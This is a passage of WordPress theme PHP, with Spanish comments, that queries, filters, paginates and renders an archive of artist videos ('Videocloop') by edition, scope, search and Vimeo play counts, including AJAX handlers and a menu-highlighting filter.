        $data = get_vimeo_videos_data(); // [ post_id => ['plays'=>int, 'release_time'=>'Y-m-d...'], ... ]
        set_transient('vimeo_videos_data', $data, HOUR_IN_SECONDS);
    }
    if ( ! is_array($data) || empty($data) ) return array();

    $scores = array();
    foreach ( $data as $pid => $info ) {
        if ( ! is_numeric($pid) ) continue;
        if ( $orderby_key === 'most-viewed' && isset($info['plays']) ) {
            $scores[(int)$pid] = (int)$info['plays'];
        } elseif ( $orderby_key === 'last-added' && !empty($info['release_time']) ) {
            $scores[(int)$pid] = strtotime($info['release_time']);
        }
    }
    if ( empty($scores) ) return array();

    arsort($scores); // DESC
    return array_keys($scores);
}


/**
 * Render de una tarjeta de GRID (archive-item) para artist-video
 * Añade clases:
 *  - loop-fair / loop-festival / loop-discover (desde ACF checkbox loop_scope)
 *  - edition-{slug} y year-YYYY (desde la taxonomía 'edition')
 */
function far_loop_render_videocloop_card( $post_obj ) {
    $pid   = (int) $post_obj->ID;
    $title = get_the_title($pid);

    // Imagen (ACF cover_image) o placeholder
    $cover = get_field('cover_image', $pid);
    $src   = ( is_array($cover) && !empty($cover['url']) ) ? $cover['url'] : get_template_directory_uri() . '/img/horizontal-placeholder.svg';

    // Autores
    $authors         = get_field('author', $pid);
    $authors_string  = '';
    if ( function_exists('get_authors_string') ) {
        $authors_string = get_authors_string($authors);
    } elseif ( is_array($authors) ) {
        $names = array();
        foreach ( $authors as $a ) {
            $names[] = is_object($a) ? get_the_title($a->ID) : get_the_title((int)$a);
        }
        $authors_string = implode(', ', array_filter($names));
    }

    // Año (ACF)
    $year = get_field('year', $pid);

    // ===== Clases por scope (ACF checkbox loop_scope) =====
    $scope_vals = (array) get_field('loop_scope', $pid); // devuelve array de values
    $scope_classes = array();
    foreach ($scope_vals as $v) {
        if (in_array($v, array('fair','festival','discover'), true)) {
            $scope_classes[] = 'loop-' . $v; // loop-fair / loop-festival / loop-discover
        }
    }

    // ===== Clases por edición (tax 'edition') =====
    $edition_terms  = get_the_terms($pid, 'edition');
    $edition_classes = array();
    $edition_slug    = '';
    $year_from_term  = '';

    if ( ! empty($edition_terms) && ! is_wp_error($edition_terms) ) {
        $ed = array_shift($edition_terms);
        $edition_slug = sanitize_title($ed->slug);
        $edition_classes[] = 'edition-' . $edition_slug;

        if (preg_match('/\b(20\d{2}|19\d{2})\b/', $ed->name, $m)) {
            $year_from_term = $m[1];
            $edition_classes[] = 'year-' . $year_from_term;
        }
    } else {
        $edition_classes[] = 'edition-none';
    }

    $all_classes = array_merge(array('archive-item'), $scope_classes, $edition_classes);
    $class_attr  = implode(' ', array_map('sanitize_html_class', $all_classes));

    // URL (siempre hacia videocloop/video/{slug})
    $url = home_url( '/videocloop/video/' . $post_obj->post_name . '/' );

    echo '<div class="' . esc_attr($class_attr) . '"'
        . ( $edition_slug ? ' data-edition-slug="' . esc_attr($edition_slug) . '"' : '' )
        . ( $year_from_term ? ' data-edition-year="' . esc_attr($year_from_term) . '"' : '' )
        . '>';
    echo '  <a href="' . esc_url( $url ) . '" class="archive-new-thumb">';
    echo '    <div class="archive-thumb__image-container artist-video">';
    echo '      <img src="' . esc_url($src) . '" alt="' . esc_attr($title) . '">';
    echo '    </div>';
    echo '    <div class="archive-thumb__text">';
    if ( $authors_string ) {
        echo '      <div class="archive-thumb__label">' . esc_html( $authors_string ) . '</div>';
    }
    echo '      <h3 class="archive-thumb__title">' . esc_html( $title ) . ( $year ? ' (' . esc_html($year) . ')' : '' ) . '</h3>';
    echo '    </div>';
    echo '  </a>';
    echo '</div>';
}


/**
 * Construye WP_Query para Videocloop (GRID), aplicando filtros/búsqueda/paginación + edición.
 * Incluye búsqueda combinada por título y por autores.
 *
 * @param int    $page
 * @param int    $ppp
 * @param string $filter         Filtro principal (all|loop-fair|loop-festival|loop-discover|most-viewed|last-added)
 * @param string $search
 * @param string $edition_slug   Slug de la taxonomía 'edition' ('' = todas)
 * @return WP_Query
 */
function far_loop_build_videocloop_query_grid( $page, $ppp, $filter, $search, $edition_slug = '' ) {
    $base_meta = far_loop_videocloop_meta_query( $filter );
    $tax_q     = array();

    if ( $edition_slug ) {
        $tax_q[] = array(
            'taxonomy' => 'edition',
            'field'    => 'slug',
            'terms'    => $edition_slug,
        );
    }

    // ==== Si hay búsqueda: combinar título + autores
    if ( $search ) {
        // 1) Buscar perfiles (autores) cuyo título contenga $search
        $author_ids = array();
        $profiles_q = new WP_Query(array(
            'post_type'      => 'profile',
            'post_status'    => 'publish',
            'suppress_filters' => false,
            'no_found_rows'  => true,
            'posts_per_page' => 200,
            's'              => $search,
        ));
        if ( $profiles_q->have_posts() ) {
            foreach ( $profiles_q->posts as $pp ) {
                $author_ids[] = (int) $pp->ID;
            }
        }
        wp_reset_postdata();
        $author_ids = array_values(array_unique($author_ids));

        // 2) Query por título
        $q_title = new WP_Query(array(
            'post_type'      => 'artist-video',
            'post_status'    => 'publish',
            'suppress_filters' => false,
            'no_found_rows'  => true,
            'fields'         => 'ids',
            's'              => $search,
            'meta_query'     => $base_meta,
            'tax_query'      => !empty($tax_q) ? $tax_q : null,
            'posts_per_page' => 500,
        ));
        $ids_title = $q_title->posts;
        wp_reset_postdata();

        // 3) Query por autores
        $ids_authors = array();
        if ( ! empty($author_ids) ) {
            $or_author_meta = array('relation' => 'OR');
            foreach ( $author_ids as $aid ) {
                $or_author_meta[] = array(
                    'key'     => 'author',
                    'value'   => '"' . $aid . '"',
                    'compare' => 'LIKE',
                );
            }
            $meta_q_authors = $base_meta;
            $meta_q_authors[] = $or_author_meta;

            $q_auth = new WP_Query(array(
                'post_type'      => 'artist-video',
                'post_status'    => 'publish',
                'suppress_filters' => false,
                'no_found_rows'  => true,
                'fields'         => 'ids',
                'meta_query'     => $meta_q_authors,
                'tax_query'      => !empty($tax_q) ? $tax_q : null,
                'posts_per_page' => 500,
            ));
            $ids_authors = $q_auth->posts;
            wp_reset_postdata();
        }

        // 4) Unimos resultados (evitamos duplicados)
        $all_ids = array_values( array_unique( array_merge( $ids_title, $ids_authors ) ) );

        // 5) Slice manual (paginación)
        $offset = max(0, ($page - 1) * $ppp);
        $slice  = array_slice($all_ids, $offset, $ppp);

        if ( empty($slice) ) {
            return new WP_Query(array(
                'post_type' => 'artist-video',
                'post__in'  => array(0),
            ));
        }

        return new WP_Query(array(
            'post_type'      => 'artist-video',
            'post_status'    => 'publish',
            'suppress_filters' => false,
            'no_found_rows'  => true,
            'post__in'       => $slice,
            'orderby'        => 'title',
            'order'          => 'ASC',
            'posts_per_page' => count($slice),
        ));
    }

    // ==== Sin búsqueda: mantenemos lógica original ====
    $args = array(
        'post_type'           => 'artist-video',
        'post_status'         => 'publish',
        'suppress_filters'    => false,
        'ignore_sticky_posts' => true,
        'no_found_rows'       => true,
        'meta_query'          => $base_meta,
        'tax_query'           => !empty($tax_q) ? $tax_q : null,
    );

    // Ordenación
    if ( in_array( $filter, array('most-viewed','last-added'), true ) ) {
        $ordered_ids = far_loop_videocloop_ordered_ids_from_vimeo( $filter );
        if ( ! empty( $ordered_ids ) ) {
            if ( $edition_slug ) {
                $ordered_ids = array_values( array_filter( $ordered_ids, function($id) use ($edition_slug){
                    $t = get_the_terms( (int)$id, 'edition' );
                    if ( empty($t) || is_wp_error($t) ) return false;
                    foreach ($t as $term) {
                        if ( $term->slug === $edition_slug ) return true;
                    }
                    return false;
                }));
            }
            $offset = max(0, ($page - 1) * $ppp);
            $slice  = array_slice($ordered_ids, $offset, $ppp);
            if ( empty($slice) ) {
                $args['post__in'] = array(0);
            } else {
                $args['post__in'] = array_map('intval', $slice);
                $args['orderby']  = 'post__in';
            }
        } else {
            $args['orderby']        = 'title';
            $args['order']          = 'ASC';
            $args['paged']          = max(1, (int)$page);
            $args['posts_per_page'] = max(1, (int)$ppp);
        }
    } else {
        $args['orderby']        = 'title';
        $args['order']          = 'ASC';
        $args['paged']          = max(1, (int)$page);
        $args['posts_per_page'] = max(1, (int)$ppp);
    }

    return new WP_Query($args);
}






/* ==== AJAX HANDLERS ==== */

// GRID
function far_loop_ajax_load_videocloop_items() {
    // Parámetros
    $page         = isset($_GET['page'])         ? (int) $_GET['page']  : 1;
    $ppp          = isset($_GET['ppp'])          ? (int) $_GET['ppp']   : 24;
    $filter       = isset($_GET['filter'])       ? sanitize_text_field($_GET['filter']) : 'all';
    $search       = isset($_GET['search'])       ? sanitize_text_field($_GET['search']) : '';
    $edition_slug = isset($_GET['edition_slug']) ? sanitize_title( $_GET['edition_slug'] ) : '';

    $q = far_loop_build_videocloop_query_grid( $page, $ppp, $filter, $search, $edition_slug );

    if ( $q->have_posts() ) {
        while ( $q->have_posts() ) {
            $q->the_post();
            far_loop_render_videocloop_card( $q->post );
        }
        wp_reset_postdata();
    }
    wp_die();
}

// TEXTO (lista) — Agrupa por edición y añade clases de filtro en .edition-group
function far_loop_ajax_load_videocloop_text() {
    $filter       = isset($_GET['filter'])       ? sanitize_text_field($_GET['filter']) : 'all';
    $search       = isset($_GET['search'])       ? sanitize_text_field($_GET['search']) : '';
    $offset       = isset($_GET['offset'])       ? (int) $_GET['offset'] : 0;
    $limit        = isset($_GET['limit'])        ? (int) $_GET['limit']  : 0; // 0 = sin límite (resto)
    $edition_slug = isset($_GET['edition_slug']) ? sanitize_title( $_GET['edition_slug'] ) : '';

    // ==== Filtros base comunes (scope + video_location)
    $base_meta = far_loop_videocloop_meta_query($filter);

    // Tax query opcional (edición concreta)
    $tax_q = array();
    if ( $edition_slug ) {
        $tax_q[] = array(
            'taxonomy' => 'edition',
            'field'    => 'slug',
            'terms'    => $edition_slug,
        );
    }

    // ==== Sin búsqueda: query directa (como antes)
    if ( $search === '' ) {
        $args = array(
            'post_type'           => 'artist-video',
            'post_status'         => 'publish',
            'suppress_filters'    => false,
            'ignore_sticky_posts' => true,
            'no_found_rows'       => true,
            'orderby'             => 'title',
            'order'               => 'ASC',
            'meta_query'          => $base_meta,
        );
        if ( !empty($tax_q) ) $args['tax_query'] = $tax_q;

        if ( $limit > 0 ) {
            $args['posts_per_page'] = $limit;
            $args['offset']         = $offset;
        } else {
            $args['posts_per_page'] = 300;
            $args['offset']         = $offset;
        }

        $q = new WP_Query($args);
    } else {
        // ==== Con búsqueda: TÍTULO OR AUTORES ====

        // 1) Buscar perfiles (autores) por título ~ $search
        $author_ids = array();
        $profiles_q = new WP_Query(array(
            'post_type'           => 'profile',
            'post_status'         => 'publish',
            'suppress_filters'    => false,
            'ignore_sticky_posts' => true,
            'no_found_rows'       => true,
            'posts_per_page'      => 300,
            's'                   => $search,
        ));
        if ( $profiles_q->have_posts() ) {
            foreach ( $profiles_q->posts as $pp ) {
                $author_ids[] = (int) $pp->ID;
            }
        }
        wp_reset_postdata();
        $author_ids = array_values(array_unique($author_ids));

        // 2) Query por TÍTULO (con los mismos filtros base)
        $q_title = new WP_Query(array(
            'post_type'           => 'artist-video',
            'post_status'         => 'publish',
            'suppress_filters'    => false,
            'ignore_sticky_posts' => true,
            'no_found_rows'       => true,
            's'                   => $search,
            'meta_query'          => $base_meta,
            'tax_query'           => !empty($tax_q) ? $tax_q : null,
            'fields'              => 'ids',
            'posts_per_page'      => 300,
        ));
        $ids_title = $q_title->have_posts() ? array_map('intval', $q_title->posts) : array();
        wp_reset_postdata();

        // 3) Query por AUTORES (campo ACF 'author' contiene IDs serializados)
        $ids_authors = array();
        if ( !empty($author_ids) ) {
            $or_author_meta = array('relation' => 'OR');
            foreach ( $author_ids as $aid ) {
                // Coincide con serializado: "123"
                $or_author_meta[] = array(
                    'key'     => 'author',
                    'value'   => '"' . $aid . '"',
                    'compare' => 'LIKE',
                );
            }
            $meta_q_authors = $base_meta;
            $meta_q_authors[] = $or_author_meta;

            $q_auth = new WP_Query(array(
                'post_type'           => 'artist-video',
                'post_status'         => 'publish',
                'suppress_filters'    => false,
                'ignore_sticky_posts' => true,
                'no_found_rows'       => true,
                'meta_query'          => $meta_q_authors,
                'tax_query'           => !empty($tax_q) ? $tax_q : null,
                'fields'              => 'ids',
                'posts_per_page'      => 300,
            ));
            $ids_authors = $q_auth->have_posts() ? array_map('intval', $q_auth->posts) : array();
            wp_reset_postdata();
        }

        // 4) Unión (OR) de resultados por título y por autores (evitar duplicados/WPML)
        $all_ids = array_values( array_unique( array_merge( $ids_title, $ids_authors ) ) );

        if ( empty($all_ids) ) {
            // Nada que mostrar
            wp_die();
        }

        // 5) Paginación manual por IDs y query final para traer objetos
        if ( $limit > 0 ) {
            $slice = array_slice($all_ids, $offset, $limit);
        } else {
            $slice = array_slice($all_ids, $offset, 300);
        }
        if ( empty($slice) ) {
            wp_die();
        }

        $q = new WP_Query(array(
            'post_type'           => 'artist-video',
            'post_status'         => 'publish',
            'suppress_filters'    => false,
            'ignore_sticky_posts' => true,
            'no_found_rows'       => true,
            'post__in'            => array_map('intval', $slice),
            'orderby'             => 'title',   // ordenamos alfabético
            'order'               => 'ASC',
            'posts_per_page'      => count($slice),
        ));
    }

    if ( ! $q->have_posts() ) {
        wp_die();
    }

    // ====== Agrupación por edición (igual que tu versión) ======
    $groups = array();

    while ( $q->have_posts() ) {
        $q->the_post();
        $p      = get_post();
        $pid    = (int) $p->ID;

        // --- Terms 'edition'
        $ed_terms = get_the_terms($pid, 'edition');
        $year_detected = null;
        $edition_slug_clean = '';
        $label_for_group = '';

        if ( ! empty($ed_terms) && ! is_wp_error($ed_terms) ) {
            $ed = array_shift($ed_terms);
            $slug_raw = sanitize_title( $ed->slug );
            $edition_slug_clean = preg_replace('/-(es|en|ca|fr|de|it|pt|nl|eu|gl)$/i', '', $slug_raw);

            if ( preg_match('/\b(20\d{2}|19\d{2})\b/', $ed->name, $m) ) {
                $year_detected = (int) $m[1];
                $label_for_group = (string) $year_detected;
            } else {
                $label_for_group = $ed->name;
            }
        } else {
            $edition_slug_clean = 'none';
            $label_for_group    = __('Other editions', 'far_loop');
        }

        $group_key = $year_detected ? ('year:' . $year_detected) : ('slug:' . $edition_slug_clean);

        // --- Clases por scope (ACF checkbox 'loop_scope')
        $scope_vals = (array) get_field('loop_scope', $pid);
        $scope_classes = array();
        foreach ($scope_vals as $v) {
            $v = strtolower(trim($v));
            if ( in_array($v, array('fair','festival','discover'), true) ) {
                $scope_classes[] = 'loop-' . $v;
            } elseif ( in_array($v, array('loop-fair','loop-festival','loop-discover'), true) ) {
                $scope_classes[] = $v;
            }
        }
        $scope_classes = array_values( array_unique($scope_classes) );

        if ( ! isset($groups[$group_key]) ) {
            $groups[$group_key] = array(
                'label'         => $label_for_group,
                'year'          => $year_detected ?: null,
                'class_year'    => $year_detected ? ('year-' . $year_detected) : '',
                'class_edition' => 'edition-' . $edition_slug_clean,
                'scope_classes' => array(),
                'items'         => array(),
            );
        }
        if ( ! empty($scope_classes) ) {
            $groups[$group_key]['scope_classes'] = array_values( array_unique( array_merge(
                $groups[$group_key]['scope_classes'],
                $scope_classes
            ) ) );
        }
        $groups[$group_key]['items'][] = $p;
    }
    wp_reset_postdata();

    // Ordenar grupos
    uasort($groups, function($a, $b){
        if ($a['year'] && $b['year']) return $b['year'] <=> $a['year'];
        if ($a['year'] && ! $b['year']) return -1;
        if (! $a['year'] && $b['year']) return 1;
        return strcasecmp($b['label'], $a['label']);
    });

    // Output
    foreach ( $groups as $g ) {
        $label         = $g['label'];
        $class_year    = $g['class_year'];
        $class_edition = $g['class_edition'];
        $scope_classes = $g['scope_classes'];
        $items         = $g['items'];

        $group_classes = array('edition-group');
        if ( $class_year )    $group_classes[] = $class_year;
        if ( $class_edition ) $group_classes[] = $class_edition;
        if ( ! empty($scope_classes) ) $group_classes = array_merge($group_classes, $scope_classes);
        $group_class_attr = implode(' ', array_map('sanitize_html_class', array_unique($group_classes)));

        echo '<div class="' . esc_attr($group_class_attr) . '">';
        echo '  <h3 class="edition-group__title">' . esc_html( $label ) . '</h3>';
        echo '  <ul class="edition-group__list">';

        foreach ( $items as $p ) {
            $pid    = (int) $p->ID;
            $title  = get_the_title($pid);
            $year   = get_field('year', $pid);

            $authors = get_field('author', $pid);
            $authors_string = '';
            if ( function_exists('get_authors_string') ) {
                $authors_string = get_authors_string($authors);
            }

            $url = home_url( '/videocloop/video/' . $p->post_name . '/' );

            echo '<li class="edition-group__item">';
            echo '  <a href="' . esc_url( $url ) . '">';
            echo        esc_html($title) . ( $year ? ' (' . esc_html($year) . ')' : '' );
            echo '  </a>';
            if ( $authors_string ) {
                echo '  <span class="edition-group__meta"> — ' . esc_html($authors_string) . '</span>';
            }
            echo '</li>';
        }
        echo '  </ul>';
        echo '</div>';
    }

    wp_die();
}




/**
 * Devuelve ediciones (tax 'edition') que SÍ tienen al menos un 'artist-video'
 * válido para Videocloop (video_location in ['both','videocloop-only']).
 * Deduplica WPML por año (si existe) o por slug. Ordena por año DESC (si lo hay),
 * y si no, por label DESC.
 *
 * @return array[]  Cada item: ['label'=>string,'slug'=>string,'year'=>int|null,'count'=>int]
 */
function far_loop_get_videocloop_editions() {
    // 1) Todos los artist-video que aparecen en Videocloop
    $ids = get_posts(array(
        'post_type'           => 'artist-video',
        'post_status'         => 'publish',
        'suppress_filters'    => false, // respeta idioma actual
        'ignore_sticky_posts' => true,
        'no_found_rows'       => true,
        'fields'              => 'ids',
        'posts_per_page'      => -1,
        'meta_query'          => array(
            array(
                'key'     => 'video_location',
                'value'   => array('both','videocloop-only'),
                'compare' => 'IN',
            ),
        ),
    ));
    if ( empty($ids) ) return array();

    // 2) Recorremos sus términos 'edition' y contamos por año o por slug
    $current_lang = function_exists('apply_filters') ? apply_filters('wpml_current_language', null) : null;
    $buckets      = array(); // key => ['label','slug','year','count']

    foreach ( $ids as $pid ) {
        $terms = get_the_terms( $pid, 'edition' );
        if ( empty($terms) || is_wp_error($terms) ) continue;

        foreach ( $terms as $t ) {
            $label = (string) $t->name;
            $slug  = (string) $t->slug;

            // Extraer año si existe
            $yr = null;
            if ( preg_match('/\b(20\d{2}|19\d{2})\b/', $label, $m) ) {
                $yr = (int) $m[1];
            }

            // Clave de deduplicación WPML: año si existe; si no, slug
            $key = $yr ? ('y'.$yr) : ('s'.$slug);

            // Si ya existe y tienes WPML, prioriza el término del idioma actual
            if ( isset($buckets[$key]) && $current_lang && function_exists('apply_filters') ) {
                $term_lang = apply_filters('wpml_element_language_code', null, array(
                    'element_id'   => $t->term_id,
                    'element_type' => 'tax_edition',
                ));
                // Si el nuevo término coincide con el idioma actual, reemplazamos label/slug “canónicos”
                if ( $term_lang === $current_lang ) {
                    $buckets[$key]['label'] = $label;
                    $buckets[$key]['slug']  = $slug;
                }
                // sumar igualmente el conteo
                $buckets[$key]['count']++;
                continue;
            }

            if ( ! isset($buckets[$key]) ) {
                $buckets[$key] = array(
                    'label' => $label,
                    'slug'  => $slug,
                    'year'  => $yr,
                    'count' => 1,
                );
            } else {
                // Sin WPML o ya hay bucket → solo sumamos
                $buckets[$key]['count']++;
            }
        }
    }

    if ( empty($buckets) ) return array();

    // 3) Convertimos a lista y filtramos count>0 (debería ser siempre >0)
    $out = array_values( array_filter( $buckets, function($it){ return (int)$it['count'] > 0; } ) );

    // 4) Orden final: por año desc si ambos tienen año; si no, por label desc
    usort($out, function($a,$b){
        if ($a['year'] && $b['year']) return $b['year'] <=> $a['year'];
        if ($a['year'] && ! $b['year']) return -1;
        if (! $a['year'] && $b['year']) return 1;
        return strcasecmp($b['label'], $a['label']);
    });

    return $out;
}























// Marca el <a class="videocloop-link"> como activo
add_filter('nav_menu_link_attributes', function( $atts, $item, $args, $depth ) {
    $target_path = 'videocloop/archive'; // ruta objetivo sin slash inicial
    $target_url  = trailingslashit( home_url( '/' . $target_path . '/' ) );

    // ¿Estamos en la página objetivo?
    $on_target = false;

    // 1) Si existe una página con ese path, úsala para comprobar is_page()
    $page = get_page_by_path( $target_path );
    if ( $page instanceof WP_Post && is_page( $page->ID ) ) {
        $on_target = true;
    } else {
        // 2) Fallback por URL actual
        $req_path = rtrim( parse_url( add_query_arg( array() ), PHP_URL_PATH ), '/' );
        $on_target = ( trim( $req_path, '/' ) === $target_path );
    }

    if ( $on_target ) {
        // Añadir la clase si el <a> ya lleva "videocloop-link" o si el ítem apunta exactamente a la URL objetivo
        $a_classes = isset($atts['class']) ? $atts['class'] : '';
        $has_marker = ( strpos( $a_classes, 'videocloop-link' ) !== false );
        $points_to_target = ( trailingslashit( $item->url ) === $target_url );

        if ( $has_marker || $points_to_target ) {
            $atts['class'] = trim( $a_classes . ' current-menu-item' );
        }
    }

    return $atts;
}, 10, 4);












